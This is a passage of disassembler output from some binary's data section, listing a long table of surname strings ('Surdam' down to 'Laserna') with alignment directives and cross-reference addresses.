'Surdam',0 ; DATA XREF: ___:0042E9A0o align 4 aSuo db 'Suo',0 ; DATA XREF: ___:0042E99Co aSumner db 'Sumner',0 ; DATA XREF: ___:0042E998o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E994o align 4 aStringer db 'Stringer',0 ; DATA XREF: ___:0042E990o align 10h aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E98Co aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E988o aStrange db 'Strange',0 ; DATA XREF: ___:0042E984o aStott db 'Stott',0 ; DATA XREF: ___:0042E980o align 10h aStorer db 'Storer',0 ; DATA XREF: ___:0042E97Co align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042E978o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E974o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E970o align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042E96Co align 4 aStock db 'Stock',0 ; DATA XREF: ___:0042E968o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E964o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E960o align 4 aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E95Co align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E958o aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E954o align 4 aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E950o aStefani db 'Stefani',0 ; DATA XREF: ___:0042E94Co aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E948o align 4 aStates db 'States',0 ; DATA XREF: ___:0042E944o align 10h aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E940o align 10h aStang db 'Stang',0 ; DATA XREF: ___:0042E93Co align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042E938o align 10h aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E934o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E930o align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E92Co aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E928o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E924o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E920o align 10h aSperber db 'Sperber',0 ; DATA XREF: ___:0042E91Co aSpence db 'Spence',0 ; DATA XREF: ___:0042E918o align 10h aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E914o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E910o align 4 aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E90Co aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E908o aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E904o align 10h aSoule db 'Soule',0 ; DATA XREF: ___:0042E900o align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E8FCo align 10h aSottak db 'Sottak',0 ; DATA XREF: ___:0042E8F8o align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042E8F4o align 10h aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E8F0o align 4 aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E8ECo align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042E8E8o align 10h aSolon db 'Solon',0 ; DATA XREF: ___:0042E8E4o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E8E0o aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E8DCo align 4 aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E8D8o aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E8D4o align 4 aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E8D0o align 4 aSloan db 'Sloan',0 ; DATA XREF: ___:0042E8CCo align 4 aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E8C8o align 4 aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E8C4o align 4 aSkane db 'Skane',0 ; DATA XREF: ___:0042E8C0o align 4 aSites db 'Sites',0 ; DATA XREF: ___:0042E8BCo align 4 aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E8B8o aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E8B4o align 10h aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E8B0o align 4 aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E8ACo align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042E8A8o align 10h aSigini db 'Sigini',0 ; DATA XREF: ___:0042E8A4o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E8A0o aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E89Co align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042E898o align 10h aShibata db 'Shibata',0 ; DATA XREF: ___:0042E894o aShia db 'Shia',0 ; DATA XREF: ___:0042E890o align 10h aShesko db 'Shesko',0 ; DATA XREF: ___:0042E88Co align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E888o align 4 aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E884o align 10h aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E880o align 4 aSheats db 'Sheats',0 ; DATA XREF: ___:0042E87Co align 4 aShea db 'Shea',0 ; DATA XREF: ___:0042E878o align 4 aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E874o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E870o aShar db 'Shar',0 ; DATA XREF: ___:0042E86Co align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042E868o aShankland db 'Shankland',0 ; DATA XREF: ___:0042E864o align 4 aShakis db 'Shakis',0 ; DATA XREF: ___:0042E860o align 4 aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E85Co align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E858o aSexton db 'Sexton',0 ; DATA XREF: ___:0042E854o align 4 aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E850o align 4 aSennett db 'Sennett',0 ; DATA XREF: ___:0042E84Co aSen db 'Sen',0 ; DATA XREF: ___:0042E848o aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E844o aSekler db 'Sekler',0 ; DATA XREF: ___:0042E840o align 4 aSegal db 'Segal',0 ; DATA XREF: ___:0042E83Co align 4 aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E838o align 4 aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E834o align 4 aScudder db 'Scudder',0 ; DATA XREF: ___:0042E830o aScovel db 'Scovel',0 ; DATA XREF: ___:0042E82Co align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E828o aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E824o align 10h aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E820o align 4 aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E81Co aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E818o aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E814o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E810o aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E80Co align 10h aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E808o align 4 aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E804o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E800o align 10h aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E7FCo aScharf db 'Scharf',0 ; DATA XREF: ___:0042E7F8o align 4 aScepan db 'Scepan',0 ; DATA XREF: ___:0042E7F4o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E7F0o align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042E7ECo align 10h aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E7E8o aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E7E4o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042E7E0o align 10h aSatin db 'Satin',0 ; DATA XREF: ___:0042E7DCo align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042E7D8o align 10h aSartore db 'Sartore',0 ; DATA XREF: ___:0042E7D4o aSarin db 'Sarin',0 ; DATA XREF: ___:0042E7D0o align 10h aSapers db 'Sapers',0 ; DATA XREF: ___:0042E7CCo align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042E7C8o align 10h aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E7C4o aSamson db 'Samson',0 ; DATA XREF: ___:0042E7C0o align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042E7BCo align 10h aSahu db 'Sahu',0 ; DATA XREF: ___:0042E7B8o align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042E7B4o align 10h aSadler db 'Sadler',0 ; DATA XREF: ___:0042E7B0o align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E7ACo align 4 aRyu db 'Ryu',0 ; DATA XREF: ___:0042E7A8o aRush db 'Rush',0 ; DATA XREF: ___:0042E7A4o align 10h aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E7A0o align 4 aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E79Co align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042E798o align 10h aRu db 'Ru',0 ; DATA XREF: ___:0042E794o align 4 aRoyal db 'Royal',0 ; DATA XREF: ___:0042E790o align 4 aRow db 'Row',0 ; DATA XREF: ___:0042E78Co aRonen db 'Ronen',0 ; DATA XREF: ___:0042E788o align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042E784o align 10h aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E780o aRocha db 'Rocha',0 ; DATA XREF: ___:0042E77Co align 10h aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E778o align 4 aRivera db 'Rivera',0 ; DATA XREF: ___:0042E774o align 4 aRish db 'Rish',0 ; DATA XREF: ___:0042E770o align 4 aRineer db 'Rineer',0 ; DATA XREF: ___:0042E76Co align 4 aRindos db 'Rindos',0 ; DATA XREF: ___:0042E768o align 4 aRielly db 'Rielly',0 ; DATA XREF: ___:0042E764o align 4 aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E760o align 10h aRhea db 'Rhea',0 ; DATA XREF: ___:0042E75Co align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042E758o align 10h aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E754o aRenick db 'Renick',0 ; DATA XREF: ___:0042E750o align 10h aRemak db 'Remak',0 ; DATA XREF: ___:0042E74Co align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042E748o aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E744o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E740o align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E73Co align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042E738o aRapple db 'Rapple',0 ; DATA XREF: ___:0042E734o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042E730o align 10h aRangan db 'Rangan',0 ; DATA XREF: ___:0042E72Co align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042E728o align 10h aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E724o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E720o align 4 aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E71Co align 4 aRabe db 'Rabe',0 ; DATA XREF: ___:0042E718o align 4 aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E714o align 4 aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E710o align 4 aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E70Co aPugh db 'Pugh',0 ; DATA XREF: ___:0042E708o align 4 aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E704o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E700o align 4 aProietti db 'Proietti',0 ; DATA XREF: ___:0042E6FCo align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042E6F8o align 10h aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E6F4o align 4 aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E6F0o aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E6ECo aPresper db 'Presper',0 ; DATA XREF: ___:0042E6E8o aPowers db 'Powers',0 ; DATA XREF: ___:0042E6E4o align 4 aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E6E0o aPoma db 'Poma',0 ; DATA XREF: ___:0042E6DCo align 4 aPolitis db 'Politis',0 ; DATA XREF: ___:0042E6D8o aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E6D4o aPolak db 'Polak',0 ; DATA XREF: ___:0042E6D0o align 4 aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E6CCo aPointer db 'Pointer',0 ; DATA XREF: ___:0042E6C8o aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E6C4o align 10h aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E6C0o align 4 aPo db 'Po',0 ; DATA XREF: ___:0042E6BCo align 10h aPlous db 'Plous',0 ; DATA XREF: ___:0042E6B8o align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E6B4o aPlant db 'Plant',0 ; DATA XREF: ___:0042E6B0o align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E6ACo aPinot db 'Pinot',0 ; DATA XREF: ___:0042E6A8o align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E6A4o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E6A0o aPettit db 'Pettit',0 ; DATA XREF: ___:0042E69Co align 10h aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E698o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E694o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E690o align 10h aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E68Co align 4 aPerone db 'Perone',0 ; DATA XREF: ___:0042E688o align 4 aPerna db 'Perna',0 ; DATA XREF: ___:0042E684o align 4 aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E680o aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E67Co align 4 aPerko db 'Perko',0 ; DATA XREF: ___:0042E678o align 4 aPereira db 'Pereira',0 ; DATA XREF: ___:0042E674o aPenny db 'Penny',0 ; DATA XREF: ___:0042E670o align 4 aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E66Co aPederson db 'Pederson',0 ; DATA XREF: ___:0042E668o align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E664o align 4 aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E660o aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E65Co aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E658o align 10h aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E654o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E650o aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E64Co align 4 aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E648o aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E644o align 10h aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E640o align 4 aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E63Co align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E638o align 10h aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E634o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E630o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E62Co align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E628o align 10h aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E624o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E620o align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E61Co aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E618o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E614o align 4 aPaine db 'Paine',0 ; DATA XREF: ___:0042E610o align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E60Co align 4 aOvid db 'Ovid',0 ; DATA XREF: ___:0042E608o align 4 aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E604o aOtten db 'Otten',0 ; DATA XREF: ___:0042E600o align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E5FCo align 10h aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E5F8o align 4 aOspina db 'Ospina',0 ; DATA XREF: ___:0042E5F4o align 4 aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E5F0o align 4 aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E5ECo aOray db 'Oray',0 ; DATA XREF: ___:0042E5E8o align 4 aOpel db 'Opel',0 ; DATA XREF: ___:0042E5E4o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E5E0o aOman db 'Oman',0 ; DATA XREF: ___:0042E5DCo align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E5D8o align 10h aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E5D4o align 4 aOlson db 'Olson',0 ; DATA XREF: ___:0042E5D0o align 4 aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E5CCo align 4 aOldford db 'Oldford',0 ; DATA XREF: ___:0042E5C8o aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E5C4o aOh db 'Oh',0 ; DATA XREF: ___:0042E5C0o align 10h aOgata db 'Ogata',0 ; DATA XREF: ___:0042E5BCo align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E5B8o aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E5B4o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E5B0o align 10h aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E5ACo align 4 aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E5A8o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E5A4o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E5A0o align 10h aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E59Co align 4 aNg db 'Ng',0 ; DATA XREF: ___:0042E598o align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E594o align 10h aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E590o aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E58Co align 10h aNesci db 'Nesci',0 ; DATA XREF: ___:0042E588o align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E584o align 10h aNelson db 'Nelson',0 ; DATA XREF: ___:0042E580o align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E57Co aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E578o aNardone db 'Nardone',0 ; DATA XREF: ___:0042E574o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E570o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E56Co align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E568o align 4 aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E564o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E560o aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E55Co align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E558o aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E554o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E550o align 10h aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E54Co aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E548o aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E544o align 4 aMosler db 'Mosler',0 ; DATA XREF: ___:0042E540o align 4 aMosher db 'Mosher',0 ; DATA XREF: ___:0042E53Co align 4 aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E538o align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E534o align 10h aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E530o align 4 aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E52Co aMorani db 'Morani',0 ; DATA XREF: ___:0042E528o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E524o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E520o align 4 aMonque db 'Monque',0 ; DATA XREF: ___:0042E51Co align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E518o align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E514o align 10h aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E510o aModestino db 'Modestino',0 ; DATA XREF: ___:0042E50Co align 4 aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E508o aMittal db 'Mittal',0 ; DATA XREF: ___:0042E504o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E500o aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E4FCo align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E4F8o aMini db 'Mini',0 ; DATA XREF: ___:0042E4F4o align 10h aMinh db 'Minh',0 ; DATA XREF: ___:0042E4F0o align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E4ECo align 10h aMieher db 'Mieher',0 ; DATA XREF: ___:0042E4E8o align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E4E4o align 10h aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E4E0o align 4 aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E4DCo align 4 aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E4D8o align 10h aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E4D4o aMerz db 'Merz',0 ; DATA XREF: ___:0042E4D0o align 10h aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E4CCo aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E4C8o align 4 aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E4C4o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E4C0o align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E4BCo aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E4B8o align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E4B4o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E4B0o aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E4ACo aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E4A8o aMclane db 'Mclane',0 ; DATA XREF: ___:0042E4A4o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E4A0o aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E49Co align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E498o aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E494o align 10h aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E490o align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E48Co align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E488o aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E484o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E480o align 4 aMccall db 'Mccall',0 ; DATA XREF: ___:0042E47Co align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E478o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E474o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E470o align 4 aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E46Co aMay db 'May',0 ; DATA XREF: ___:0042E468o aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E464o align 10h aMattson db 'Mattson',0 ; DATA XREF: ___:0042E460o aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E45Co align 4 aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E458o align 10h aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E454o aMass db 'Mass',0 ; DATA XREF: ___:0042E450o align 10h aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E44Co align 4 aMarton db 'Marton',0 ; DATA XREF: ___:0042E448o align 4 aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E444o align 10h aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E440o align 4 aMarques db 'Marques',0 ; DATA XREF: ___:0042E43Co aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E438o align 10h aMargalit db 'Margalit',0 ; DATA XREF: ___:0042E434o align 4 aMarcus db 'Marcus',0 ; DATA XREF: ___:0042E430o align 4 aMarchbanks db 'Marchbanks',0 ; DATA XREF: ___:0042E42Co align 10h aMarch db 'March',0 ; DATA XREF: ___:0042E428o align 4 aMantovan db 'Mantovan',0 ; DATA XREF: ___:0042E424o align 4 aManganiello db 'Manganiello',0 ; DATA XREF: ___:0042E420o aMandel db 'Mandel',0 ; DATA XREF: ___:0042E41Co align 4 aManalis db 'Manalis',0 ; DATA XREF: ___:0042E418o aMalova db 'Malova',0 ; DATA XREF: ___:0042E414o align 4 aMaller db 'Maller',0 ; DATA XREF: ___:0042E410o align 10h aMalatesta db 'Malatesta',0 ; DATA XREF: ___:0042E40Co align 4 aMaisano db 'Maisano',0 ; DATA XREF: ___:0042E408o aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: ___:0042E404o align 4 aMaier db 'Maier',0 ; DATA XREF: ___:0042E400o align 4 aMahony db 'Mahony',0 ; DATA XREF: ___:0042E3FCo align 4 aMaggio db 'Maggio',0 ; DATA XREF: ___:0042E3F8o align 4 aMadigan db 'Madigan',0 ; DATA XREF: ___:0042E3F4o aMacy db 'Macy',0 ; DATA XREF: ___:0042E3F0o align 4 aMacmillan db 'MacMillan',0 ; DATA XREF: ___:0042E3ECo align 4 aMackenney db 'Mackenney',0 ; DATA XREF: ___:0042E3E8o align 4 aMacintyre db 'Macintyre',0 ; DATA XREF: ___:0042E3E4o align 10h aMaceachern db 'Maceachern',0 ; DATA XREF: ___:0042E3E0o align 4 aMacdonald db 'Macdonald',0 ; DATA XREF: ___:0042E3DCo align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: ___:0042E3D8o align 4 aMa db 'Ma',0 ; DATA XREF: ___:0042E3D4o align 4 aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E3D0o aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E3CCo align 4 aLussier db 'Lussier',0 ; DATA XREF: ___:0042E3C8o aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E3C4o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E3C0o aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E3BCo align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E3B8o aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E3B4o aLucas db 'Lucas',0 ; DATA XREF: ___:0042E3B0o align 4 aLubin db 'Lubin',0 ; DATA XREF: ___:0042E3ACo align 4 aLoza db 'Loza',0 ; DATA XREF: ___:0042E3A8o align 4 aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E3A4o align 10h aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E3A0o aLoss db 'Loss',0 ; DATA XREF: ___:0042E39Co align 10h aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E398o align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E394o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E390o aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E38Co aLivi db 'Livi',0 ; DATA XREF: ___:0042E388o align 10h aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E384o align 4 aLitvak db 'Litvak',0 ; DATA XREF: ___:0042E380o align 4 aLittle db 'Little',0 ; DATA XREF: ___:0042E37Co align 4 aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042E378o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042E374o align 4 aLinzee db 'Linzee',0 ; DATA XREF: ___:0042E370o align 4 aLinehan db 'Linehan',0 ; DATA XREF: ___:0042E36Co aLine db 'Line',0 ; DATA XREF: ___:0042E368o align 4 aLinder db 'Linder',0 ; DATA XREF: ___:0042E364o align 4 aLinda db 'Linda',0 ; DATA XREF: ___:0042E360o align 4 aLinares db 'Linares',0 ; DATA XREF: ___:0042E35Co aLim db 'Lim',0 ; DATA XREF: ___:0042E358o aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042E354o align 4 aLight db 'Light',0 ; DATA XREF: ___:0042E350o align 4 aLiem db 'Liem',0 ; DATA XREF: ___:0042E34Co align 4 aLidano db 'Lidano',0 ; DATA XREF: ___:0042E348o align 4 aLiakos db 'Liakos',0 ; DATA XREF: ___:0042E344o align 4 aLessi db 'Lessi',0 ; DATA XREF: ___:0042E340o align 4 aLesser db 'Lesser',0 ; DATA XREF: ___:0042E33Co align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042E338o align 10h aLenard db 'Lenard',0 ; DATA XREF: ___:0042E334o align 4 aLeite db 'Leite',0 ; DATA XREF: ___:0042E330o align 10h aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042E32Co align 4 aLecce db 'Lecce',0 ; DATA XREF: ___:0042E328o align 4 aLecar db 'Lecar',0 ; DATA XREF: ___:0042E324o align 4 aLawless db 'Lawless',0 ; DATA XREF: ___:0042E320o aLashley db 'Lashley',0 ; DATA XREF: ___:0042E31Co aLaserna db 'Laserna',0 